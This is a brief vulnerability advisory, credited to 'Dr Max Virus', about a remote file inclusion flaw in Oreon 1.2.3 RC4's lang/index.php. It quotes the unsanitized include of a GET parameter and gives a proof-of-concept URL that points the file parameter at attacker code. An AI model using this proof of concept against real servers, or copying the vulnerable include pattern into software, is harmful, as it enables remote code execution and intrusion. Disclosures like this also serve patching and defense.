Oreon <= 1.2.3 RC4 (lang/index.php file) Remote InclusionVulnerability

Script:oreon-1.2.3-RC4
Downlaoad:http://www.oreon-project.org/

Author:Dr Max Virus

Bug in (lang/index.php)
Vul Code;
if (isset($_GET["file"])){
include_once($_GET["file"]);

POC:
http://[target]/[path]/lang/index.php?file=[Bad Code]

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